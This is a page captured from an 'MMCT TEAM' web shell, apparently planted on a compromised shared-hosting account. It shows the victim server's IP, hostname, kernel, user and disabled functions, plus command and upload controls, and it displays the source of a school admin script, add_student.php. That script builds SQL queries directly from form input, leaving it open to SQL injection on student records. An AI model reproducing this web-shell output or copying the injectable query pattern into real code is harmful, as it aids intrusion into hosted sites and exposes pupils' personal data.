MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/admin/tenderfiles/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/admin/tenderfiles/../add_student.php
<?php include('include/sidebar.php'); ?>
<!-- Start Welcome area -->

<?php include('include/header.php'); ?>

<?php 
if(isset($_POST['submit'])){

    $student_name=$_POST['student_name'];
    $father_name=$_POST['father_name'];
    $mother_name=$_POST['mother_name'];
    $contact=$_POST['contact'];
    $address=$_POST['address'];
    $dob=$_POST['dob'];
    $class_id=$_POST['class_id'];
    $house_id=$_POST['house_id'];
    $roll_no=$_POST['roll_no'];
    $q = "SELECT * FROM students WHERE id='$roll_no'";
    $result = mysqli_query($conn,$q);
    if(mysqli_num_rows($result)>0){
        $msg = '<span class="alert alert-danger">Roll number is already used please try different Roll number!...</span>';
    }else{
    $sql = $conn->query("INSERT INTO students(id,student_name,father_name,mother_name,contact,address,dob,class_id,house_id) VALUES ('$roll_no','$student_name','$father_name','$mother_name','$contact','$address','$dob','$class_id','$house_id')");

    if($sql){
        echo '<script>alert("Added successfully"); location.href="students"</script>';

    }else{
        echo '<script>alert("Oops Something Went Wrong!");</script>';
    }
    }
}

?>

<style>
    #myTabContent .input-group{
        width: 100%;
    }
</style>
<div class="breadcome-area">
    <div class="container-fluid">
        <div class="row">
            <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
                <div class="breadcome-list">
                    <div class="row">
                        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
                            <div class="breadcomb-wp">
                                <div class="breadcomb-icon">
                                    <i class="icon nalika-home"></i>
                                </div>
                                <div class="breadcomb-ctn">
                                    <h2>Add Student</h2>
                                </div>
                            </div>
                        </div>
                        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">

                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
</div>
<div class="single-product-tab-area mg-b-30">

    <!-- Single pro tab review Start-->

    <div class="single-pro-review-area">

        <div class="container-fluid">

            <div class="row">

                <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">

                    <div class="review-tab-pro-inner">
                        <h4 class="w-100"><?php echo $msg; ?></h4>
                        <form method="post" enctype="multipart/form-data">
                            <div id="myTabContent" class="tab-content custom-product-edit">

                               <div class="row">

                                <div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">


                                    <div class="input-group mg-b-pro-edt">
                                        <input type="number" name="roll_no" class="form-control" placeholder="Roll Number" required>
                                    </div>
                                    <div class="input-group mg-b-pro-edt">
                                        <input type="text" name="student_name" class="form-control" placeholder="Student Name" required>
                                    </div>

                                    
                                    <div class="input-group mg-b-pro-edt">
                                        <select class="form-control" name="class_id" required>
                                            <option value="">Select Class</option>
                                            <?php
                                            $q = "select * from class";
                                            $query = mysqli_query($conn,$q);
                                            while($res = mysqli_fetch_array($query)) { ?>
                                                <option value="<?php echo $res['id'] ?>"><?php echo $res['class_name'] ?></option>
                                            <?php } ?>
                                        </select>

                                    </div>
                                    <div class="input-group mg-b-pro-edt">
                                        <select class="form-control" name="house_id" required>
                                            <option value="">Select House</option>
                                            <?php
                                            $q = "select * from house";
                                            $query = mysqli_query($conn,$q);
                                            while($res = mysqli_fetch_array($query)) { ?>
                                                <option value="<?php echo $res['id'] ?>"><?php echo $res['house_name'] ?></option>
                                            <?php } ?>
                                        </select>

                                    </div>
                                    <div class="input-group mg-b-pro-edt">
                                        <input type="text" onfocus="(this.type='date')" name="dob" class="form-control" placeholder="Date Of Birth" required>
                                    </div>

                                    <div class="input-group mg-b-pro-edt">
                                        <input type="text" name="father_name" class="form-control" placeholder="Father Name" required>
                                    </div>

                                    <div class="input-group mg-b-pro-edt">
                                        <input type="text" name="mother_name" class="form-control" placeholder="Mother Name" required>
                                    </div>

                                    <!-- <div class="input-group mg-b-pro-edt">
                                        <input type="number" name="contact" class="form-control" placeholder="Phone Number" required>
                                    </div> -->

                                    <div class="input-group mg-b-pro-edt">
                                        <textarea rows="4" class="form-control" name="address" placeholder="Address" required></textarea>

                                    </div>



                                </div>

                            </div>

                        </div>

                        <div class="row">

                            <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" style="padding-right: 30px;">

                                <div class="text-center custom-pro-edt-ds">

                                    <button type="submit" class="btn btn-ctl-bt waves-effect waves-light m-r-10" name="submit">Save

                                    </button>

                                    <a href="students" class="btn btn-ctl-bt waves-effect waves-light">cancel

                                    </a>

                                </div>

                            </div>

                        </div>
                    </form>
                </div>

            </div>

        </div>

    </div>

</div>

</div>

</div>
<?php include('include/footer.php'); ?>

MMCT - 2023